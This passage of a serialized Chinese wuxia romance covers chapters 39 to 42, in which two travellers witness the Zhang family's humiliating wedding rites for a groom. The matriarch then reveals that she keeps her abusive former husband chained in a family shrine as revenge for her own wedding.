“咳，张小姐、王小姐，要不我们这些人就先退下吧？千万别妨碍了你们两个叙旧……”
“当然不用！”
“那倒没必要。”
王予月和张沛儿一前一后的开口。心有灵犀的两个人又对视一眼后，王予月莞尔一笑，张沛儿这才跟秦倩倩继续说了下去。
“来者是客，你们就坐吧。”
仆人把秦千千她们安顿在一旁坐着时，那边的王予月招手，让人送来自己的贺礼。那是一个锦缎包裹的方盒，很长，因此秦千千猜里面是长笛。
谁知里面是一串珍珠项链。
不过想也合理，枫林镇的珍珠品质上乘，是江湖上的稀罕货。想王予月这种人送的珍珠项链，那肯定是一颗一颗攒出来的绝佳上品。
秦千千不是那么识货，白邵禾懂这些珠宝品质，他扫了一眼，那珍珠粒粒饱满、色泽圆润，的确是佳品。
王予月纤手一勾，就拿起了那串项链。
众人这才看到了怪异之处：这串项链并非首尾相接，而是有个脑袋大小的圆圈，配上一条长长的尾巴。
“沛姐姐知道狗链吧？这就是我送你夫君的礼物。希望他知道，狗就是狗，别妄想一步登天。”
秦千千惊惶地移开视线，用手抵住自己额头。也就是这时，她才看到，桌边的人没有一个不震惊的。不过有些人隐藏的好，有些人惊讶地嘴都合不拢了。
她抬脚在桌下踢了一脚元德，元德赶忙抿紧自己的嘴。
白邵禾现在才算是确认，这王予月怕是喜欢张沛儿。不然，这般针对人家的新婚夫婿，实在是有些说不过去吧？
39. 迎亲
秦千千真后悔自己不是瞎子聋子，现在这情况她什么都不想见证，神恶魔都不想听到。桑风雪也抿紧了嘴，眼观鼻鼻观心。
还有三个人看戏看得起劲儿。
桃花花和王老怪托着脸颊看，元德正襟危坐地看。桃花花和元德还能说是不知者无罪，但王老怪看的开心极了。
白邵禾垂眸看着眼前的茶壶，脸上既不期待，又不胆怯。
很明显，这两位浓情蜜意的，甚至不怕这事儿传扬江湖。那他们这几个人就没有什么好怕的。
而张沛儿的回答，也让人更确定了，这是一段双向奔赴的感情。
“当然。他若是忘了自己的身份，我自然会教训他的。”
张沛儿转手让人拿走贺礼，自己则是朝这边走来。王予月不情不愿地跟过来，她送沛姐姐的礼物还没拿出来呢，怎么沛姐姐就要去招待秦千千她们了。
察觉到人过来，秦千千赶忙起身作揖，张沛儿却赶忙扶住她的手腕。
“素问秦老板大名，果然百闻不如一见。”
秦千千是敢怒不敢言，只能心中清醒，还好那个晏信被抓进去了。不然，自己的身份真是被昭告天下了。
“哪有哪有，张小姐过誉了。能否让我的朋友们先入座歇息，我跟着两位参加仪式就好。”
这要求倒也合理，本来就只是需要一个记事儿的，帮忙记一下待会儿的事情。犯不着这个六七个人，都乌泱泱地跟在身后。
张沛儿点头，只不过一旁的王予月却是不高兴。不知道张沛儿转头跟她耳语了什么后，王予月这才勉为其难的答应了。
“邀月，安排他们几个出去。”
“千千，我还是留在你身边陪你吧。”
坐以待毙不是白邵禾的行事作风，他虽然做不到晏信那种，火急火燎地贴上去，但尽量保持主动，这还是没什么问题的。
这点权利秦千千还是有的，她点头应允，剩下的众人则是跟着邀月去了前院。
张家近些年的婚宴其实不少，只不过因为分为前后厅，这才导致没有多少婚宴的细节流出。大红花轿抬着夫婿进门时，会路过前厅，也在前厅下轿。
因此，江湖上流传最广的，就是夫婿穿凤冠霞帔的这事儿。
男女婚配素来都是男方上门求娶新娘，这张家也不例外，张沛儿现在就要出门，骑着高头大马去接夫婿。王予月就不跟着了，但她要求秦千千和白邵禾必须全程跟随。
白邵禾去马厩里帮她牵马的时候，王予月悄悄跟秦千千说小话：“千千，让这人好好学学，日后你迎娶他的时候，就按照这个阵仗来。”
她被这话臊红了脸，“你说什么呢！”
王予月不仅不觉得过分，还笑得更开心了。
“放心吧，那个晏信我好好招待着呢。你的两位夫婿，我一个都不会伤害他们的。”
担心她再度语出惊人，秦千千赶忙左移了一大步，跟王予月保持了安全距离。白邵禾一转头就看见，秦千千被欺负后年站在远处。他心中略微不爽，直接喊她过来。
察觉到他的心思，王予月眉尾微挑，有意思。
整队之后，张沛儿骑着胸前挂着红花的宝血汗马，带着迎亲队伍出发了。
一路上的仪仗队锣鼓喧天好不热闹，再加上张家财大气粗，队伍左右两排人都提着竹筐，框里全部都是铜板，走一路那是散一路的财。
为了保证收集到的信息的精确无误，秦千千和白邵禾就跟在张沛儿身后。张沛儿一路上表情悠然，一点都没有即将洞房花烛的喜悦。
“张小姐，不知道你这位夫婿是何许人也？”
反正前后离的不远，秦千千就主动问了起来。白邵禾也好奇这人的来历，他总觉得季春霖说的，男子都不愿意受那种折辱，是一种夸张的说辞。
毕竟，谁会跟钱过不去呢？
“秦小姐，你叫我沛儿就好。那位夫婿，是我们这里养蚌能手的儿子，叫安皓轩。他是我们这里远近闻名的神童，特别擅长珠算。外貌又俊美，正是我们张家需要的夫婿。”
这倒是附和白邵禾的想法。
权贵宗族，联姻是为了拉拢势力。至于这种地方大家，婚姻之事也会以家族利益为先。
因此，白邵禾从不奢求自己的婚配之事，若是朝廷趋势所需，让他迎娶谁，他绝无怨言。
“那你喜欢他吗？”秦千千的声音不大不小，落在白邵禾的耳朵里，却异常刺耳。
果然，张沛儿也是觉得好笑，她认真地看着秦千千。
“到了某个阶层，个人的喜恶已经完全无法扭转大局了，你知道吗？就像是……”张沛儿沉思了一下，而后用一种异常清醒的眼神看着她，仿佛能洞悉秦千千身上的所有秘密。
“就像阁主做这个生意，是真的喜欢做这个，还是她的使命使然？每个人都有自己的使命，我们能做的，就是尽量不辜负使命而已。”
这话像是点醒了秦千千，她一直在心中自诩是最了解主人的人，可主人究竟是出于何种心态，才要维系这项生意的呢？她不得而知。
“是啊，可我的使命是什么呢？”
她喃喃自语，被白邵禾一字不落地听进心里。白邵禾的脸色也说不上来好看，他原本以为自己跟张沛儿是同道中人。
可他发现自己错了。张沛儿似乎并不享受自己的使命，而白邵禾他向来都是乐在其中的。毕竟普天之下莫非王土，他自小就被教导，这江山就是他的。
这段谈话结束后，三个人都各有各的沉默。
好在很快就到了安家宅邸，安家也是张灯结彩。只不过全府上下仆人不多也就算了，从门口看，怎么看都觉得有些萧条。
秦千千抬头看府前瓦片上甚至还长着草，这安府难不成是常年没人住吗？
“都说亲事讲究门当户对，因此我就购置了这宅子赠与他们。传出去，我们张家的亲家，也不至于太寒碜。”
白邵禾心想，看似是大手一挥气派得很，其实还不是在折辱这家人。按照张家的体量，怎么会购置一个又破又旧的房子……而张家未来的名声，就看秦千千怎么把这事儿传扬出去了。
想到这里，白邵禾看了一眼异常沉默的秦千千。她看着有些蔫蔫儿的，不过溜须拍马这种事情，对她来说还是行云流水般简单。
“不愧是三东家之一，这可真是大手笔啊！这要是传
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扬到江湖上，安家真是跟着占了好大光啊！”
张沛儿勾唇一笑，算是默许了她的说法。喜婆站在门前讲着嘱咐的习语，接亲的一行人就在外面等候。
“吉时已到，准备上轿！”喜婆不敢怠慢，赶紧念完了流程，请张沛儿去府中接安皓轩出来。“这原本是只能张小姐进去的，不过二位也请吧。”
这话一说，白邵禾心中就有了数。借口抓了晏信才请她们来，就是个明晃晃的骗局。秦千千朝喜婆点头示意，赶忙跟在张沛儿身后。
安家二老身着华服站在堂前，脸上挂着的笑容，让白邵禾看的不舒服。那种表情，看起来像是悲伤至极，却不得不挤出来的笑容一般。
张沛儿健步如飞，给二老行了个拱手礼，连一句寒暄都没有，就越过二老去了后堂。白邵禾秦千千紧随其后，转过屏风时，她们就看到了站在院子中间的人。
那人身着双凤描金喜服，头上的彩冠也是掐丝镶嵌各色宝石的，在阳光的照射下显得熠熠生辉的。
可安皓轩的表情却不怎么愉快，让人一见他就莫名觉得悲伤。他看起来就是一副柔弱书生的样子，的确是有几分姿色。
秦千千看了看他，又转头盯着身边的白邵禾。察觉到她的坏心思，白邵禾装作不知道，问她怎么了。
“没什么，你比他长得还要好看。”秦千千往他这边歪了歪，用手遮着嘴跟他说小话。从远处看，秦千千似乎是倚在他肩膀上一样。
白邵禾顺势歪了一下头，无奈地点点头。他自小听过的夸奖数不胜数，可如此平铺直叙的赞美，还是第一次。秦千千没在他脸上看到羞恼，就心里不自在。
这人怎么这么无聊！
可恶，她作恶没有收到想要的效果，那是万万不能罢休的。于是她踮起脚，凑到他耳边又补上了一句：“还好你不是这里的人，不然，你肯定要被抢走做夫婿的。”
白邵禾脸上闪现一丝惊愕，他蓦然回首，盯着秦千千。被这个反应取悦到的秦千千，捂住自己的嘴在一旁偷笑。
这才对嘛，平时都没在白邵禾脸上，看到多少别的表情。她就喜欢看人各种各样的反应，因此看到他脸上鲜活的表情，可把秦千千乐坏了。
张沛儿走到安皓轩的眼前，看着他那张苍白却不施粉黛的脸，心生怜悯。可下一瞬，她直接抬手就是一个巴掌，直接把安皓轩扇的一个踉跄。
这让搞怪成功，在后面欢声笑语的秦千千都呆住了。白邵禾赶忙跑上去前去阻拦，秦千千神情紧张地扶住安皓轩。
“张小姐，这是何意？”
秦千千在后面歪头问他有没有事儿，还扒开他的手，查看他的脸。这一看，让她呼吸一滞。
这人皮肤真好！莹白如瓷、吹弹可破。这就衬得被扇红的半边脸，看的人更加心疼了。
似乎察觉自己的视线非常不礼貌，秦千千立马转头看向白邵禾，这一看，让她脑中浮现若是白邵禾被打……
不！这可千万不能发生！
“沛儿，你这是不是有点太过分了！”
秦千千也义正言辞起来，虽然她分不清，自己是为了安皓轩打抱不平，还是为了脑中满眼愤恨的白邵禾。
40. 进门
“张小姐，大喜之日，你未必要这样折辱他吧？”
白邵禾几乎是咬着牙说出的话，他算是明白了，这可不就是赤裸裸的欺凌吗？
被怒目而视，还被莫名其妙地吼，张沛儿丝毫没有不开心。她勾着嘴角歪头看了一眼安皓轩，那眼神毫无情愫可言，看的白邵禾心里一紧。
那眼神，就像监斩官看眼前的死囚一样，令人不寒而栗。
安皓轩用衣袖擦了一下嘴角，低眉垂眼地说：“娘子这么做，自然有娘子的道理，请两位不要插手其中了。”
而后，他一把推开了扶着他的秦千千。
看着她们一前一后离开的身影，秦千千和白邵禾完全楞在原地。张沛儿出声唤秦老板，才把她喊得回过神来。
“邵禾，我们走吧。”
日日开朗的秦千千也开朗不起来了，她铁青着脸跟上张沛儿的步伐。白邵禾心中厌恶，却又无可奈何地轻叹了口气。
比起秦千千的烦恼，白邵禾比她多了那么一分。白邵禾还在考量她究竟是跟表面一样，只知道这么多，还是说她直到全部的真相，但就是在装不知道？
一个个问题袭来，压得白邵禾有点透不过气上来。
波谲云诡的朝堂，也不过如此。
两个人并排出了门，秦千千才发觉哪里不妥。
新郎子没有盖红盖头啊！而且正是因为红盖头不在，安皓轩脸上的巴掌印子，更加清晰可见。
原本热闹的人群，现在开始有人皱着眉头窃窃私语起来。
“这不跟上次一样？”
“可是说呢，都没有盖头，脸上还都被打了一巴掌。”
“就这点小挫折而已！他不愿去我去，反正嫁进去就坐享荣华富贵了，现在板着脸装什么呢！”
“你可拉倒吧，张家马夫都得要求眉清目秀。你这样子，下辈子再考虑这种事情吧。”
白邵禾看秦千千对那些流言熟视无睹，她眼神死死盯着安皓轩，张沛儿带他去花轿前。
花轿左右两个轿杆上，还横着放一根乌黑发亮的杆子。白邵禾闻出来，那是一根沉香木。
可还没等他思考那是干什么用的，不远处的安皓轩双手撩起喜袍跪在了地上，然后一寸一寸挪向轿前，停在了那根沉香木面前。
沉香木不高不低，刚好堪堪到安皓轩肩头。他一刻都没有犹豫，就在地上爬过去。张沛儿走到轿门边，朝他伸出手，安皓轩搭上她的手这才站了起来。
眼前的画面冲击感太强，以至于白邵禾两眉紧锁，秦千千也低头使劲儿用手揉搓着眼睛。人群中窸窸窣窣的声音还是没有停止，时不时还能听到几声唏嘘声。
“千千，不管多少钱，我都买。你能告诉我，她们家这么反常的礼节，到底是出于什么原因吗？”白邵禾气急了，他转身走到秦千千身边，微微弯腰凑在她耳边问她。
那时他还没有察觉，两个人之间的距离到底有多近。
直到秦千千抬头看向他，突然看清她眼眸中的自己时，白邵禾惊慌失措地往后退了一步。他尴尬地眨了眨眼睛，抿紧了嘴唇。
秦千千看他如此不自然的动作，还不知道是为什么。于是就往前凑了一步，很诚恳地告诉他：“这件事情，我是真的不知道，我们再看看吧。”
“……嗯。”
就这样，白邵禾一路上都有意无意地避开秦千千的眼神，可在秦千千望向别处时，他又忍不住看向她。
自己大抵是疯了。
原本以为接亲已经够荒谬了，结果到了张府，门口除了看热闹的百姓，还站了两队彪形大汉，每个人手上还拿了根胳膊粗的棍子。
秦千千真的是忍无可忍，只能压低声音问张沛儿，这又是要搞什么。
“他就算是犯了天条，也不用这么做吧？”
也就是在这时，白邵禾牵着缰绳的手突然一收，眼神复杂地看着秦千千。他的心中五味杂陈，原来这人还是有慈悲心肠的吗？
出京前，白邵禾根据自己搜集的信息，草率地判断，秦千千是个寡廉鲜耻，而又唯利是图的人。
“生意人，哪有什么菩萨心肠？不各个都是狗苟蝇营之辈？”
现在，白邵禾才察觉到自己失言了。
谁知张沛儿低头浅笑，压根不把这事儿放在心上。
“秦老板，这是我们家的传统，哪个进府都得过这些关。再说，这才能哪到哪，进府才有好看的事情呢。”
青天白日的，却听得秦千千毛骨悚然的。
白邵禾后知后觉，想要说什么，张沛儿却已经纵身跳下马，走到花轿边撩开了轿帘。
安皓轩敛气屏声地从轿子中出来，那根沉香木被旁边的喜婆拿着，她抬手递给了新郎，并且乐呵呵地嘱咐他。
“新郎官儿，拿好这个！咱们只要顺利走进张家大门，后半辈子数不尽的荣华富贵，那可全是你的了！只要，这沉香木不掉地上。”
白邵禾甚至都不用猜，肯定是前面那些人用棍棒打他，新郎还得忍受着走进张家大门。秦千千满眼愤怒，她扔了手里的缰绳在，侧身跳下马，朝张沛儿她们那边走去。
白邵禾赶忙过去阻止她，现在她们单枪匹马的，实在不好仗义执言。而且白邵禾算是看明白了，那个安皓轩，根本就是自己自愿的。
他身为枫林镇本地人，又怎么会不知道张家的习俗？而且今日蹉跎至今，他一句怨言都没有，这就很说明问题了。
于是白邵禾不由分说地拉住秦千千，神色凛然地摇摇头，示意她不要轻举妄动。秦千千只好站在一旁，眼神悲悯地看着安皓轩。
从安皓轩双手接过沉香木开始，张沛儿就头也不回地走向家门。路过秦千千时，她抓起秦千千的手腕，几乎是不由分说地拉着她一同往前走去。
秦千千低头看着她修长却又有力的手，挣脱不开，只能任由她拉着自己。白邵禾赶忙跟上，生怕张沛儿对她不利。
走在前面的两个人脚边衣袂翻飞，秦千千头上竖着的发带也随着头发，施施然地上下起伏。
白邵禾不知道自己怎么了，他向来都是掌控大局的人。
可今天自从看到她眼眸之后，他就时不时的会注意到一些细枝末节，一些以前只会觉得繁琐无用的细枝末节……
比如现在，他看到了张沛儿用力导致发白的骨节。
不知出于何种缘由，他快
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行两步，一掌打在张沛儿的小臂，那人吃痛放开了秦千千的手腕。
好在秦千千原本步子就迈得开，这才使张沛儿突然脱力后，她还稳稳站住了脚。
张沛儿转头戏谑地看了一眼秦千千和白邵禾，她一点都不生气。反倒是秦千千一脸惊讶地看着白邵禾。
“你不是说要顾全大局，刚刚还不让我站出来，现在你……”虽然刚刚他没说，但他的意思已经很明显了。秦千千疑惑，这人怎么短短一刻钟就出尔反尔？
白邵禾眸色微暗，“我担心你。”
两个人边走边说。秦千千表情疑惑，她不知道这有什么好担心的，毕竟待会儿要挨打的也不是她。再者说，这张沛儿又不是在门口决定要娶她……
等她们走上台阶时，张沛儿负手站在门前，居高临下地看着轿门口的安皓轩。
喜娘眉开眼笑地往下宣布：“打喜仪式，现在开始！”
安皓轩面如死灰地往前走，门口站着的十二个壮汉，也排列整齐，两排之间仅容三人并排通过。可他们手中的棍棒，足足有两人那么宽。
也就是说，左右两边的棍棒，都能砸在安皓轩的身上。
事实比秦千千和白邵禾想的还要糟糕，那些棍棒下手狠厉，却又只打在背部，甚至连安皓轩的凤冠都没有打乱。可背后沉闷的击打声，敲击着在场每个人的心灵。
看着周围在欢呼雀跃的人群，白邵禾觉得很是荒谬。秦千千闭着眼长出了一口气，下定决心后，她高喊一声：
“够了！”
张沛儿眼神惊惶地盯着她看，那眼神看的秦千千心里发毛，但事到如今，她只能硬着头皮说下去。
结果还没开口，就有两个嬷嬷走了过来，她们毕恭毕敬地说，老太太请她过堂说话。
“不行！”
白邵禾一把把她护在身后，这跟着进去是生是死，谁说得准！都说张老太太心肠毒辣，白邵禾怎么也不能让她带走秦千千。
可张沛儿上前劝慰他：“白公子放心，我保证她不会有事儿的。”说罢，她似乎觉得自己的话没有说服力，就有加了一句。
“若是她出了意外，我以命相抵。”
白邵禾冷笑一声，这人以为她的名很值钱吗？可谁知秦千千主动站了出来。
“既然张小姐这么说，那我信你。邵禾兄，我去去就回。”
临走前，秦千千还压低嗓音，让他不要轻举妄动。
而后一切仿佛都被静止了。婚宴仪式也暂时停住，安皓轩还站在台阶之下，周遭看热闹的人群，依旧是在窃窃私语。
“那丫头算是要凉了吧？”
“哎呦，这还用猜？老太太出手，哪次不是把人整得死死的？”
“那小妞长得花容月貌的，可惜了，又要被那老妖婆嚯嚯死了。”
白邵禾第一次厌恶自己的敏锐的听力，那些话听得他异常烦躁。直到秦千千出来，他连忙上下扫视，看到她安然无恙后才彻底放心。
可她的表情很不对劲儿。
“沛儿，传你家祖宗的命令，仪式照常进行吧。”
白邵禾简直不敢相信，这居然是从秦千千嘴里说出来的话。
41. 礼佛祠
秦千千看出他心中的疑惑，但也没办法说什么，只能允诺他。
“个中缘由，现在不宜详谈。总之，晚些时候会有人，跟我们解释的。”
听了这话，白邵禾更是疑惑了，那张家老太太是给她允诺了什么吗？可她这种鬼机灵的人，怎么会被三言两语说服？
他只能压下心中的疑惑，张沛儿一挥手，一切又恢复如常。
仪式照旧。
安皓轩捧着沉香木拾阶而上，和张沛儿两人一同穿过前厅，直奔后阁。
桑风雪她们坐在离后阁最近的地方，院中地方很大，坐满了宾客。新人过堂，所有人都站起来凑热闹。因此等白邵禾与秦千千走到庭中间时，桑风雪她们才看到她俩。
“哎！是千千！”桃花花个子没那么高，好在她早就占据了前面的位置，因此看的清楚。
王老怪就知道，她俩看了那些个仪式，就不会太开心。现在一看，果然一个一个都面色阴沉。
眨眼间她们已经走到桃花花身边，她伸手一够拉住了秦千千，问她外面怎么样？桑风雪看得清楚，秦千千明明就是兴致不高，甚至还有些蔫儿。
“千千，白公子，你们这是怎么了？”桑风雪问。
“看吧，我说不来，你们非让来。”王老怪双手抱胸，一脸埋怨地看着她们两个。
白邵禾抬头环视她们，元德虽然什么都没说，但他的眉眼间都是关切。
“事情太多，现在来不及说。”秦千千强行从嘴角扯出一抹笑容，桑风雪看她这表情，就是知道事情闹大了。
不等众人回答，她就继续说道：“晚些时候我们再来找你们。”
两位新人已经走到后堂门口，张沛儿回头看着秦千千，她知道这是在叫自己跟上。于是白邵禾就跟着秦千千，快步赶了过去。
经过人声鼎沸的前厅，就显得后堂格外的萧条。
虽说红幔挂了满园，到处也是张灯结彩的，可就是让人心里高兴不起来。
白邵禾一眼望去，就看到了后堂的正厅，里面站着几个身着华服之人。而稳坐高位的那个老太太，想必就是张老太太张婧慈了。
她虽然头发花白，但精神矍铄。而脸上的肃杀之气，表明她的确是用实力打出来的天下。那种熠熠生辉的眼神，白邵禾只在凯旋而归的将军身上见到过，野心勃勃却又势在必得。
“让她们过来吧。”老太太一挥手，身边的一位中年男子，赶忙跑了过来。
“小姐、姑爷，有请吧。”
来人是张婧慈的二女婿平高峻，在这个家里浸润多年，他早已深知处世之道。哪怕张沛儿是他的侄女，属于自己的晚辈，但在这个家中，他依旧要对张沛儿毕恭毕敬。
张沛儿牵着安皓轩的手，走进堂中。平高峻也不敢怠慢眼前两位客人，这可是老太太交代，要重点关照的人。
“请吧二位。”
白邵禾留了个心眼，走在秦千千身后，邀月说的话他还记得清楚。站在堂中的王予月低头浅笑，很好，长记性的人才是值得教导的人。
人都到齐后，张婧慈点点头，开始代表张家指点几句。这几年张家也办了两场婚宴，那些客套话都大差不差。只不过客套话说完，张婧慈却话锋一转，讲起了别的事情。
“我们张家婚典，素来是不愿让外人知晓的，因此才分了内外两堂。可现如今，我请了这两位客人进来，有谁知道是为什么吗？”
她话音刚落，堂中男子除了白邵禾，都缓缓地低下头颅。也不知是真的不知道，还是压根没有回答的权利。
这些男子唯唯诺诺的样子，看得白邵禾心中生气。于是他抬头打量着堂上唯二的两个男人，才发现他们都跟自己一样，屈居在女人身后。
就在这时，一位矜贵婉约、颇有书生之气的妇人开口：“娘，你不就是想让这秦老板颂扬，我们沛儿的婚事吗？”
张婧慈睨了她一眼，自己大女儿还是这个样子，整天的眼光就是放不长远
整日就想着名声、看法什么的。成大事者，怎么能在意这些蝇营狗苟的事情？
她在心中感慨，这样柔弱的娘，却养出了沛儿这等虎狼之将，真是为难沛儿了啊。
“乐枫，你觉得你姐姐的看法对吗？”张婧慈没有回答大女儿张世英，而是转头问另一边的二女儿张乐枫。
张乐枫是她来枫林镇后生的孩子，因此取名乐枫。可这孩子或许就坏在名字上了，整天只知道贪图享乐。虽说大事不糊涂，但府中的事务，她是帮不了一点忙。
“娘，你是知道我的呀，大姐说什么都是对的。”
张乐枫自小就对张世英唯命是从，姐妹俩一个闷一个淘。张婧慈时常在心中感慨，若不是生在女人掌权的张家，不知道她们要受多少苦。
一听这回答，都把张婧慈气笑了。
沉默良久的王予月，笑着开口：“婆婆，我倒是有不一样的看法。”
出于对张家掌权者的尊重，王予月才唤她一声婆婆，可对于她的那些儿女们，她眼中没有一丝尊重。只要跟下一代掌权人张沛儿搞好关系，这就够了。
“原因无非有二，张世英和张乐枫说的乃是其一，可张家本不需要在这方面宣扬什么，因此，这个理由几乎可以忽略不算。这其二，我猜她们不是对沛儿重要，而是对婆婆您来说比较重要。”
王予月清楚，新郎进门前，老太太还把秦千千叫进礼佛祠。那可是张家除了张婧慈，谁都不许进去的地方。
若说秦千千究竟哪里特殊，除了身份，就是她在门前叫停婚宴仪式这事儿特殊。张家立门几十载，那些规矩就存在了几十载，可以说，秦千千是第一个敢叫板的人。
于是王予月几乎是立马就猜了出来，这仪式，或许跟老太太有很深的渊源。
一旁被她点名批评的张世英和张乐枫，都眼神愠怒的瞪着她，可老太太却仰天大笑，连连鼓掌。
“好好好，这话说的对极了。”
早几年王予月还没掌事时，老太太就十分看重这个丫头，她曾经在心中感慨，王家有这丫头，再繁荣个
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几十年不是问题。现如今，她心中还是这般感慨。
不过众人还没等她说出原由，老太太脸色突然阴沉下来：“你们快点进行仪式，拜完堂，我还有要事跟秦老板商议。”
于是接下来的环节飞速进行，没有凌辱、没有欺压，后半程的仪式正常的就像是寻常婚宴一样。喜婆把新郎送入洞房后，张家全员和王予月，以及秦千千与白邵禾，驻留在堂中。
王予月深知行藏用舍的处世之道，她第一个作揖拜别准备离开。老太太慈眉善目地看着她离开，可剩下的人却风雨不动安如山地站着。
“娘、二娘，我们走吧。”张沛儿开口，眼下婆婆的心意已经很明白了，无非是她们自己走，或者被婆婆开口赶走而已……
“不行！”张乐枫自小就是胆子大，她脱口而出就是反驳，张婧慈不悦地抬眼看着她，张乐枫立马就怂了。“大姐，咱们还是走吧。”
顷刻间，堂中只剩张婧慈和秦千千，以及白邵禾三人。
“秦老板，我也该履行我的承诺，跟你解释清楚所有的事情了。走吧，跟我来。”张婧慈看向秦千千，眼神比看向张沛儿还要慈祥，嘴角还挂着一抹笑意。
秦千千愣在原地，似乎是没有听到那个邀请。白邵禾上前一步，走到她身边，低声问她怎么了。
“没事，我们走吧。”
三人行至礼佛祠，秦千千和白邵禾两人都不了解这里有什么特殊的。刚刚秦千千也进去过，里面除了一尊镀金佛像，四周是空无一物。
没什么好稀奇的。
除了那后堂中，拴着的一个怪物。
张婧慈从关上祠门开始，就语气平淡地介绍这里的一切。
“后堂拴着的，是我的夫君应宏义。是这个名字吧？年岁久了，我真的有点记不清楚了。”她的脸上泛起一股漠然，似乎在回想别的人的故事。
白邵禾不认得什么应宏义，可秦千千知道。她神色凛然，往前数三十年，应宏义可是江湖上赫赫有名的万户侯。
“当然不是真的侯爵，而是他家里太有钱了，就连当地的侯爵见他都要礼让三分。”秦千千跟白邵禾解释。
佛前点香的张婧慈，满意地勾起嘴角。她一边说话，一边甩灭已经燃起的三炷香。她看也不看，就把手中的三炷香递给身后的人，秦千千赶忙上前接过。
“是啊，有些事情我已经记不得了，这不正好碰上你来，还能帮我回忆回忆。”
谈话间，张婧慈又燃好了三炷香，这次她递给了白邵禾。
“在堂上我没有问你，现在我想问问秦老板，你知道我为什么这么看重你吗？”
白邵禾转头看着秦千千，她眉头紧锁，仿佛是在权衡着什么。思索片刻后，她抬眸看着张婧慈。
“因为我救了你。”
白邵禾没听明白，可这话似乎是说到了张婧慈心坎里，她双手执香，朝着那两人高、低垂眉眼的神像鞠了三躬。
“神仙啊，您终于派了个明事理的人来啊！”她的语气中满是畅快。
42. 李家
张家历来的婚俗，起因就是张婧慈跟应宏义的大婚仪式。
当年应宏义富甲一方，所有人都以为他应得良配。而这良配自然应该是当地一等一的才女张婧慈。那是的张婧慈还不知道，自己将要迈进何等火坑。
应宏义生意之所以风生水起，那是因为他还采用各种卑劣的手段，打压周遭商贩的生意。张婧慈本来跟他相处的很好，可一切就结束在那天。
“我们同游去他的酒馆，路上他就遇到了他所谓的仇人，他就把人打了个半死。我劝他，结果被他打了一巴掌。他还当街骂我，是个什么东西。”
应宏义哪有什么真正的仇人，他就是看人家生意做得好，不服气而已。可这事儿对张婧慈的打击太大了，她自小就是天之骄女，接触的都是温文尔雅的人。
经历这事儿后，她抵死不嫁。
可抵抗无用，甚至还让应宏义在婚宴之日，对她百般羞辱。今日的种种，全都是过去她所经历的缩影。
白邵禾脑中一阵嗡鸣，现在回想起今日种种，都觉得异常讽刺。秦千千几乎抑制不住自己，浑身发抖。
天下竟然有这种事情！这应宏义真是罪该万死。
“事过经年，我其实已经全部都放下了。毕竟，当年的镇子早已不在。而羞辱过我的人，现在苟延残喘地匍匐在我脚边，日日求我赐他一死。”
三人经过佛龛，就看到了被铁链牢牢拴在正中间的人。
应宏义佝偻着肩膀，双手抱住膝盖，一副神神叨叨蓬头垢面的样子。嘴里还念叨着他错了，让他早日投胎的话。
“难不成，你借由婚俗羞辱他人，就是为了出当时的那股恶气？”
白邵禾能理解她经历这些后，培养女儿强势的缘由。可这些仪式毕竟是她的惨痛经历，怎么能容许多次在她眼前重演呢？那就只有一个目的：复仇。
这个想法跟秦千千分析的完全相反。
“邵禾兄，若是张老太太真是为了一遍又一遍地复仇，那今日我阻止这个婚宴，就绝对不会被他请到这里来。比起出气，我觉得那更像是一种求救。”
看看有谁，会对当年的自己施以援手。
张婧慈露出欣慰的笑容，总算是有人懂她的意思了。她从袖子里摸出一个瓷瓶，倒出五粒黄豆大的药丸，随意地扔在地上。
那黝黑的小球，在光滑的地板上前行，应宏义突然癫狂地趴在地上收集起来。
“之前囚禁他，花了我好大的功夫。又不愿意让他痛快的死去，也不想被别人发现他的存在。好在，我遇到了第一个施以援手的人。”
“是谁？”白邵禾看了一眼秦千千，他心中其实已经有了人选了。
秦千千咬紧嘴唇，她知道一定是秦千秋。在府前被请进来的时候，她看到那怪物不死不活，却又意识清醒的样子，就是到那是自己主人的手笔。
因此，她才会默许张婧慈的做法。主人从不出错，她协助的人，一定是有那人的苦衷的。
让秦千千百思不得其解的是，为何她对此事闻所未闻。只有一种可能，主人在故意瞒着自己。
“我不知道她姓甚名谁，只知道她当时不过十七八岁，是老太我见过的，真正侠肝义胆的人。”
张婧慈带着他们去礼佛祠的偏房，在那里面，才安置的有桌椅板凳。上了茶后，她才开始讲起过去的故事。
当时她们举家搬迁来枫林镇没多久，刚站稳脚跟。那时王家的主人还是王鸿程，也就是王予月的爷爷。很多事情，张家还要跟王李两家商量着决断。
张家的二女儿张乐枫要婚配，王鸿程和李朗了解完她想操办的婚姻后，一致拒绝她的提议。可张婧慈在这点上忍不得非议，就算是硬着头皮，也要办下去。
“因此那天有个人在府前拦路，我还以为是王李两家派的人。看护门院的家丁一股脑全跑了上去，可没想到全被那丫头撂倒了。”
姜千秋没有打伤一个人，凭借着极好的功夫点到即止，闯到了张婧慈面前。
彼时的张婧慈已经褪去书生儒雅，早就成了嗜血狠厉的人。她不心狠，就没办法杀夫然后走到今天。为了保全自身，她还学了一些拳脚功夫，可在姜千秋面前完全不够看。
“她就把刀架在我的脖子上，问我为什么要恃强凌弱，在光天化日之下欺凌弱小。当她问出来的那一瞬间，我就有些释怀了。”
白邵禾不禁在心中感慨，这张婧慈真是让人钦佩的厉害人物。能在那种情况下，走到现在的地位，一定是经过非常困难的磨炼的。
至于姜千秋，白邵禾也不得不承认，这个人很复杂。她既要敛天下之财，却又形单影只的在江湖飘荡，行侠客之事。
很难看明白，这个人活成这个样子，究竟是为了什么。
这些年秦千千听过的故事太多了。畅快的、肮脏的、跌宕起伏的、无可奈何的……，听故事的时候，她会把自己带入某个人的角色，体会那个人的所感所想。
因此，她眼神复杂地看着张婧慈。
“所以，你现在才是真的释怀了，对吧？”
大仇得报，又按照自己的想法，打下了这些家业。曾经的那些怨怼，越是执着于此，就越被困于其中。
张婧慈一脸释然，她曾经以为自己能恨一辈子的。支撑她走这么些年，唯一的动力就是仇恨。
所以当姜千秋告诉她，下一个人站出来的时候，就是她彻底释怀的时候。张婧慈当时不屑一顾，怎么可能？她死都不可能忘记这些事情。
可事到如今，张婧慈打心底里觉得，这事儿真的过去了。她早已为当年的那个自己报了仇，现在她已经垂垂暮年，似乎真的该放下一切了。
“是啊，也该彻底翻篇了。所以不知道秦老板这次离开后，会怎么宣扬我的故事呢？不过都随你的便吧。”
能切身体会心情的慈悲之人，张婧慈觉得她不会做出，令自己失望的事情的。白邵禾也是这么想的，不过一同回客栈的路上，他还是先问了秦千千。
“一两银子，我要买新鲜出炉的那个故事。”
